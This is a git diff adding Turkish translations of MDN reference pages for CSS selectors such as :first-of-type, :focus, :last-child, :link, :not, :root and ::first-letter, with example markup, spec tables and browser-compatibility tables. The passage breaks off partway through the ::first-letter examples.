b/files/tr/web/css/_colon_first-of-type/index.html @@ -0,0 +1,157 @@ +--- +title: ':first-of-type' +slug: 'Web/CSS/:first-of-type' +translation_of: 'Web/CSS/:first-of-type' +--- +<div>{{CSSRef}}</div> + +<p>The <strong><code>:first-of-type</code></strong> CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> represents the first element of its type among a group of sibling elements.</p> + +<pre class="brush: css no-line-numbers">/* Selects the first <p> to appear inside a parent element + regardless of its position inside the siblings */ +p:first-of-type { + color: red; +}</pre> + +<div class="note"> +<p><strong>Not</strong>: Orijinal tanımında seçili elemanın bir üst seçicisi (parent) olması gerekliliği vardı. Seçiciler Seviye 4'ten itibaren artık gerekmiyor.</p> +</div> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">{{csssyntax}} +</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Örnek_1_Temel_ilk_paragraf">Örnek 1: Temel ilk paragraf</h3> + +<p>Aşağıdaki HTML'i baz alalım:</p> + +<pre class="brush: html"><h2>Başlık</h2> + +<p>Paragraf</p> + +<p>Paragraf</p></pre> + +<p>Ve CSS:</p> + +<pre class="brush: css">p:first-of-type { + color: red; +}</pre> + +<p>Bu bize aşağıdaki sonucu verecek — sadece body içerisinde görünecek ilk paragraf elemanı olarak görünecek ilk paragrafın rengini kırmızı yapar:</p> + +<p>{{EmbedLiveSample('Example_1_Simple_first_paragraph')}}</p> + +<h3 id="Örnek_2_Evrensel_seçici_olarak..">Örnek 2: Evrensel seçici olarak..</h3> + +<p>This example shows how the universal selector is assumed when no simple selector is written.</p> + +<p id="HTML">Önce biraz HTML:</p> + +<pre class="brush: html"><div> + <span>Bu ilk `span`!</span> + <span>Ama bu `span` değil.</span> + <span>Bu <em>element içinde `em`</em>!</span> + <span>Ve bu da <span>element içinde `span`</span>!</span> + <b>Bu `b` niteliği!</b> + <span>This final `span` does not.</span> +</div> +</pre> + +<p id="CSS">Şimdi de CSS:</p> + +<pre class="brush: css">div :first-of-type { + background-color: lime; +}</pre> + +<p id="Result">Sonuç şöyle görünecek:</p> + +<p>{{EmbedLiveSample('Example_2_Assumed_universal_selector','100%', '120')}}</p> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>Matching elements are not required to have a parent.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#first-of-type-pseudo', ':first-of-type')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>9.0</td> + <td>9.5</td> + <td>3.2</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>2.1</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.9.1")}}</td> + <td>9.0</td> + <td>10.0</td> + <td>3.2</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Şunlar_da_var">Şunlar da var</h2> + +<ul> + <li>{{Cssxref(":first-child")}}</li> + <li>{{Cssxref(":last-of-type")}}</li> + <li>{{Cssxref(":nth-of-type")}}</li> +</ul> diff --git a/files/tr/web/css/_colon_focus/index.html b/files/tr/web/css/_colon_focus/index.html new file mode 100644 index 0000000000..3ee30adbae --- /dev/null +++ b/files/tr/web/css/_colon_focus/index.html @@ -0,0 +1,117 @@ +--- +title: ':focus' +slug: 'Web/CSS/:focus' +tags: + - ':focus' + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:focus' +--- +<div>{{CSSRef}}</div> + +<p>The <strong><code>:focus</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> represents an element (such as a form input) that has received focus. It is generally triggered when the user clicks or taps on an element or selects it with the keyboard's <kbd>Tab</kbd> key.</p> + +<pre class="brush: css no-line-numbers notranslate">/* Selects any <input> when focused */ +input:focus { + color: red; +}</pre> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> This pseudo-class applies only to the focused element itself. Use {{CSSxRef(":focus-within")}} if you want to select an element that <em>contains</em> a focused element.</p> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html no-line-numbers notranslate"><input class="red-input" value="I'll be red when focused."><br> +<input class="blue-input" value="I'll be blue when focused."></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css highlight[1, 6] notranslate">.red-input:focus { + background: yellow; + color: red; +} + +.blue-input:focus { + background: yellow; + color: blue; +}</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Examples")}}</p> + +<h2 id="Accessibility_concerns">Accessibility concerns</h2> + +<p>Make sure the visual focus indicator can be seen by people with low vision. This will also benefit anyone use a screen in a brightly lit space (like outside in the sun). <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a> requires that the visual focus indicator be at least 3 to 1.</p> + +<ul> + <li>Accessible Visual Focus Indicators: <a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Give Your Site Some Focus! Tips for Designing Useful and Usable Focus Indicators</a></li> +</ul> + +<h3 id="focus_outline_none"><code>:focus { outline: none; }</code></h3> + +<p>Never just remove the focus outline (visible focus indicator) without replacing it with a focus outline that will pass <a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">WCAG 2.1 SC 1.4.11 Non-Text Contrast</a>.</p> + +<ul> + <li>Quick Tip: <a href="https://a11yproject.com/posts/never-remove-css-outlines/">Never remove CSS outlines</a></li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "scripting.html#selector-focus", ":focus")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Defines HTML-specific semantics.</td> + </tr> + <tr> + <td>{{SpecName("CSS4 Selectors", "#focus-pseudo", ":focus")}}</td> + <td>{{Spec2("CSS4 Selectors")}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName("CSS3 Selectors", "#the-user-action-pseudo-classes-hover-act", ":focus")}}</td> + <td>{{Spec2("CSS3 Selectors")}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName("CSS2.1", "selector.html#dynamic-pseudo-classes", ":focus")}}</td> + <td>{{Spec2("CSS2.1")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("css.selectors.focus")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{CSSxRef(":focus-visible")}} {{Experimental_Inline}}</li> + <li>{{CSSxRef(":focus-within")}}</li> +</ul> diff --git a/files/tr/web/css/_colon_last-child/index.html b/files/tr/web/css/_colon_last-child/index.html new file mode 100644 index 0000000000..c117c9deb6 --- /dev/null +++ b/files/tr/web/css/_colon_last-child/index.html @@ -0,0 +1,147 @@ +--- +title: ':last-child' +slug: 'Web/CSS/:last-child' +tags: + - CSS S + - CSS Sozde-sınıflar + - Yerleşim +translation_of: 'Web/CSS/:last-child' +--- +<div>{{CSSRef}}</div> + +<h2 id="Özet">Özet</h2> + +<p><strong><code>:last-child</code></strong> CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> bir grup çocuğun sonuncusunu temsil eder.</p> + +<div class="note"> +<p>Kullanım Notu: İlk tanımda belirtildiği üzere seçilen elemanın atası olması gerekiyordu. CSS4'le beraber artık gerekmiyor.</p> +</div> + +<h2 id="Yazım_Şekli">Yazım Şekli</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnek">Örnek</h2> + +<h3 id="HTML_İçerik">HTML İçerik</h3> + +<pre class="brush: html"><ul> + <li>Bu kısım yeşermedi</li> + <li>Bu da yeşermedi.</li> + <li>Burası yeşerdi :)</li> +</ul></pre> + +<h3 id="CSS_İçerik">CSS İçerik</h3> + +<pre class="brush: css">li:last-child { + background-color: green; +}</pre> + +<p>{{EmbedLiveSample('Example', '100%', 100)}}</p> + +<h2 id="Detaylar">Detaylar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Detay</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>Eşleşen elemanların atası olması zorunlu değil.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>İlk tanımlama.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Seviyede Destek</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1")}}</td> + <td>9.0</td> + <td>{{CompatOpera(9.5)}}</td> + <td>3.2</td> + </tr> + <tr> + <td>Ata zorunlu değil</td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(44)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel Seviyede Destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1")}}</td> + <td>9.0</td> + <td>{{CompatOperaMobile(10)}}</td> + <td>3.2</td> + </tr> + <tr> + <td>Ata zorunlu değil</td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOperaMobile(44)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li>{{cssxref(":last-of-type")}}</li> + <li>{{cssxref(":first-child")}}</li> + <li>{{cssxref(":nth-child")}}</li> +</ul> diff --git a/files/tr/web/css/_colon_link/index.html b/files/tr/web/css/_colon_link/index.html new file mode 100644 index 0000000000..26b45658a3 --- /dev/null +++ b/files/tr/web/css/_colon_link/index.html @@ -0,0 +1,106 @@ +--- +title: ':link' +slug: 'Web/CSS/:link' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:link' +--- +<div>{{ CSSRef }}</div> + +<p>The <strong><code>:link</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> represents an element that has not yet been visited. It matches every unvisited {{HTMLElement("a")}}, {{HTMLElement("area")}}, or {{HTMLElement("link")}} element that has an <code>href</code> attribute.</p> + +<pre class="brush: css no-line-numbers notranslate">/* Selects any <a> that has not been visited yet */ +a:link { + color: red; +}</pre> + +<p>Styles defined by the <code>:link</code> pseudo-class will be overridden by any subsequent link-related pseudo-class ({{cssxref(":active")}}, {{cssxref(":hover")}}, or {{cssxref(":visited")}}) that has at least equal specificity. To style links appropriately, put the <code>:link</code> rule before all other link-related rules, as defined by the <em>LVHA-order</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> + +<div class="note"> +<p><strong>Note:</strong> Use {{cssxref(":any-link")}} to select an element independent of whether it has been visited or not.</p> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">{{csssyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<p>By default, most browsers apply a special {{cssxref("color")}} value to visited links. Thus, the links in this example will probably have special font colors only before you visit them. (After that, you'll need to clear your browser history to see them again.) However, the {{cssxref("background-color")}} values are likely to remain, as most browsers do not set that property on visited links by default.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><a href="#ordinary-target">This is an ordinary link.</a><br> +<a href="">You've already visited this link.</a><br> +<a>Placeholder link (won't get styled)</a> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css notranslate">a:link { + background-color: gold; + color: green; +} +</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Examples")}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td></td> + </tr> + <tr> + <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td> + <td>{{ Spec2('CSS4 Selectors') }}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td> + <td>{{ Spec2('CSS3 Selectors') }}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Lift the restriction to only apply it for {{ HTMLElement("a") }} element.</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("css.selectors.link")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Link-related pseudo-classes: {{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li> +</ul> diff --git a/files/tr/web/css/_colon_not/index.html b/files/tr/web/css/_colon_not/index.html new file mode 100644 index 0000000000..1d00714bb8 --- /dev/null +++ b/files/tr/web/css/_colon_not/index.html @@ -0,0 +1,145 @@ +--- +title: 'CSS :not() Seçicisi' +slug: 'Web/CSS/:not' +tags: + - ':not() seçicisi' + - CSS + - CSS Pseudo-class + - Web +translation_of: 'Web/CSS/:not' +--- +<div>{{CSSRef}}</div> + +<h2 id="Özet">Özet</h2> + +<p>Olumsuzluk CSS <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-class</a> seçicisi, <code>:not(X)</code>, seçilmek istenen öğelerde bulunması istenmeyen sınıfları, kimlik değerleri vb CSS seçicilerini tanımlamak için kullanılır. Girdi olarak <var>X</var> yerine girilen tanımlamalara sahip olmayan öğeleri sayfa içerisinde uygular.</p> + +<p>Fakat X ifadesi içerisinde başka olumsuzluk özelliği barındırmamalıdır.</p> + +<div class="note"><strong>Notlar:</strong> + +<ul> + <li>Gereksiz seçiciler bu pseudo-class seçicisi ile yazılabilir. <code>Örneğin <strong>:not(*)</strong></code> ifadesi "hiçbir şey olmayan" tüm elemanlarla eşleşmesi gerektiği için boş gelir ve bu seçicideki kurallar asla uygulanamaz.</li> + <li>It is possible to rewrite other rules. E.g., <code>foo:not(bar)</code> will match the same element as the simpler <code>foo</code>. Nevertheless the <a href="/en-US/docs/Web/CSS/Specificity">specificity</a> of the first one is higher.</li> + <li><code>:not(foo)</code> ifadesi<strong> </strong><strong>{{HTMLElement("html")}} ve {{HTMLElement("body")}} </strong>içerisindeki <foo></foo> olmayan bütün elementleri seçer.<strong> </strong><strong> .</strong></li> + <li>This selector only applies to one element; you cannot use it to exclude all ancestors. For instance, <code>body :not(table) a</code> will still apply to links inside of a table, since {{HTMLElement("tr")}} will match with the <code>:not()</code> part of the selector.</li> +</ul> +</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnek">Örnek</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p>Bu bir paragraf.</p> +<p class="classy">İşte sihir burada!</p> +<div>Burası yeşil olacak </div></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">.classy { text-shadow: 1px 1px 2px gold; } +p:not(.classy) { color: red; } +body :not(p) { color: green; }</pre> + +<h3 id="Sonuç">Sonuç</h3> + +<p>{{EmbedLiveSample('Example','100%',160)}}</p> + +<h2 id="Özelleştirmeler">Özelleştirmeler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Özelleştirme</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#negation', ':not()')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>Çeşitli karışık seçiciler için ifadeyi genişletir.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#negation', ':not()')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>Standart Tanımlama.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Özellikler</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1")}}</td> + <td>9.0</td> + <td>9.5</td> + <td>3.2</td> + </tr> + <tr> + <td>Gelişmiş Çzellikler</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel Özellikler</td> + <td>2.1</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1")}}</td> + <td>9.0</td> + <td>10.0</td> + <td>3.2</td> + </tr> + <tr> + <td>Gelişmiş Çzellikler</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/tr/web/css/_colon_root/index.html b/files/tr/web/css/_colon_root/index.html new file mode 100644 index 0000000000..26ef59586d --- /dev/null +++ b/files/tr/web/css/_colon_root/index.html @@ -0,0 +1,60 @@ +--- +title: ':root' +slug: 'Web/CSS/:root' +tags: + - CSS +translation_of: 'Web/CSS/:root' +--- +<div>{{CSSRef}}</div> + +<p><strong><code>:root</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes"> sözde-sınıfı</a> dökümanda bulunan kök elemanı yerine geçer (yani onu temel alır). Örneğin HTML'de <code>:root</code> dökümanı oluşturan {{HTMLElement("html")}} öğesini temsil eder ve <code>html</code> seçicisi ile aynıdır, ancak <a href="/en-US/docs/Web/CSS/Specificity">önceliği</a> daha yüksektir.</p> + +<pre class="brush: css no-line-numbers">/* Dökümandaki kök elemanı seçer: + Bu HTML'de <html> oluyor. */ +:root { + background: royalblue; +}</pre> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnek">Örnek</h2> + +<p><code>:root</code> global <a href="/en-US/docs/Web/CSS/Using_CSS_variables">CSS değişkenleri</a> tanımlarken kullanışlı olabilir:</p> + +<pre class="brush: css">:root { + --ana-renk: green; + --paragraf-boslugu: 5px 0; +} +</pre> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Tanımlama</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td> + <td>{{Spec2('CSS4 Selectors')}}</td> + <td>Değişiklik yok.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td> + <td>{{Spec2('CSS3 Selectors')}}</td> + <td>Başlangıç tanımı.</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + + + +<p>{{Compat("css.selectors.root")}}</p> diff --git a/files/tr/web/css/_doublecolon_first-letter/index.html b/files/tr/web/css/_doublecolon_first-letter/index.html new file mode 100644 index 0000000000..d5a4a507e3 --- /dev/null +++ b/files/tr/web/css/_doublecolon_first-letter/index.html @@ -0,0 +1,160 @@ +--- +title: '::first-letter (:first-letter)' +slug: 'Web/CSS/::first-letter' +translation_of: 'Web/CSS/::first-letter' +--- +<div>{{CSSRef}}</div> + +<p> <strong><code>::first-letter</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">sözde-elementi</a> bir <a href="/en-US/docs/Web/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">blok seviyeli element</a>in ilk satırındaki ilk harfe stil uygulamak için kullanılır, tabii o harften önce başka bir içerik gelmiyorsa (örneğin resimler ya da satır içi tablolar).</p> + +<pre class="brush: css no-line-numbers notranslate">/* Bir <p> elementinin ilk harfini seçiyoruz. */ +p::first-letter { + font-size: 130%; +}</pre> + +<p>Bir elementin ilk harfini belirlemek her zaman kolay değildir:</p> + +<ul> + <li>İlk harften hemen önce veya hemen sonra gelen noktalama işaretleri de harfle birlikte kancalanır. Noktalama işaretleri; <em>open</em> (Ps), <em>close</em> (Pe), <em>initial quote</em> (Pi), <em>final quote</em> (Pf), ve <em>other punctuation</em> (Po) sınıflarında tanımlanmış tüm Unicode karakterlerini kapsar.</li> + <li>Bazı dillerde, tek bir ses çıkaran iki harfli kalıplar vardır ve bunlar her zaman beraber büyük olarak yazılırlar, örneğin Flemenkçedeki <code>IJ</code> gibi. Bu durumlarda, kalıbı oluşturan iki harfin de <code>::first-letter</code> sözde elementi tarafından kancalanması gerekir. (Tarayıcı desteği bu konuda yetersizdir; aşağıdaki <a href="/en-US/docs/Web/CSS/::first-letter#Browser_compatibility">tarayıcı uyumluluk tablosu</a>na göz atın.)</li> + <li>{{ cssxref("::before") }} sözde-elementi ve {{ cssxref("content") }} niteliğinin birlikte kullanılması hâlinde bir elementin başlangıcına yeni bir metin eklenebilir. Bu durumda, <code>::first-letter</code> oluşturulan bu içeriğin ilk harfini kancalayacaktır.</li> +</ul> + +<div class="note"> +<p>CSS3 ile birlikte, <a href="/en-US/docs/Web/CSS/Pseudo-classes">sözde-sınıfları</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">sözde-elementler</a>den ayırmak amacıyla iki noktalı <code>::first-letter</code> gösterimi tanıtıldı. Tarayıcılar, CSS2 ile tanıtılan, <code>:first-letter</code> yazımını da kabul ediyorlar.</p> +</div> + +<h2 id="İzin_verilen_nitelikler">İzin verilen nitelikler</h2> + +<p><code>::first-letter</code> pseudo-elementi ile birlikte CSS niteliklerinin yalnızca küçük bir bölümü kullanılabilir:</p> + +<ul> + <li>Bütün font nitelikleri : {{ Cssxref("font") }}, {{ Cssxref("font-style") }}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{ Cssxref("font-variant") }}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{cssxref("font-size-adjust")}}, {{ Cssxref("line-height") }} ve {{ Cssxref("font-family") }}</li> + <li>Bütün arka plan(background) nitelikleri : {{ Cssxref("background") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}, {{ cssxref("background-size") }}, {{ Cssxref("background-attachment") }}, ve {{cssxref("background-blend-mode")}}</li> + <li>Bütün margin nitelikleri: {{ Cssxref("margin") }}, {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }}, {{ Cssxref("margin-left") }}</li> + <li>Bütün padding nitelikleri: {{ Cssxref("padding") }}, {{ Cssxref("padding-top") }}, {{ Cssxref("padding-right") }}, {{ Cssxref("padding-bottom") }}, {{ Cssxref("padding-left") }}</li> + <li>Bütün sınır(border) nitelikleri: kısa yoldan {{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}, {{ cssxref("border-width") }}, {{ cssxref("border-radius") }}, {{cssxref("border-image")}}, ve uzun yoldan yazılan nitelikler.</li> + <li>{{ cssxref("color") }} niteliği</li> + <li>{{ cssxref("text-decoration") }}, {{cssxref("text-shadow")}}, {{ cssxref("text-transform") }}, {{ cssxref("letter-spacing") }}, {{ cssxref("word-spacing") }} (uygun olduğu vakit), {{ cssxref("line-height") }}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{ cssxref("float") }}, {{ cssxref("vertical-align") }} (eğer <code>float</code> niteliğine <code>none</code> değeri atanmışsa) CSS nitelikleri</li> +</ul> + +<h2 id="Söz_dizimiSyntax">Söz dizimi(Syntax)</h2> + +<pre class="syntaxbox notranslate">{{csssyntax}}</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Basit_drop-capSatırdan_taşan_büyük_harf">Basit drop-cap(Satırdan taşan büyük harf)</h3> + +<p>Bu örneğimizde <code><h2></code> elementinden hemen sonra gelen paragrafın ilk harfine basit bir drop-cap efekti uygulamak için <code>::first-letter</code> sözde elementini kullanacağız</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><h2>My heading</h2> +<p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt + ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo + dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est.</p> +<p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">p { + width: 500px; + line-height: 1.5; +} + +h2 + p::first-letter { + color: white; + background-color: black; + border-radius: 2px; + box-shadow: 3px 3px 0 red; + font-size: 250%; + padding: 6px 3px; + margin-right: 6px; + float: left; +}</pre> + +<h4 id="Sonuç">Sonuç</h4> + +<p>{{ EmbedLiveSample('Simple_drop_cap', '100%', 350) }}</p> + +<h3 id="Özel_noktalama_işaretleri_ve_Latin_alfabesinde_bulunmayan_karakterler_üzerindeki_etki">Özel noktalama işaretleri ve Latin alfabesinde bulunmayan karakterler üzerindeki etki</h3> + +<p>Aşağıdaki örnek, <code>::first-letter</code> sözde elementinin özel noktalama işaretleri ve Latin alfabesinde olmayan karakterler üzerindeki etkisini gösteriyor. </p> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html notranslate"><p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> +<p>-The beginning of a special punctuation mark.</p> +<p>_The beginning of a special punctuation mark.</p> +<p>"The beginning of a special punctuation mark.</p> +<p>'The beginning of a special punctuation mark.</p> +<p>*The beginning of a special punctuation 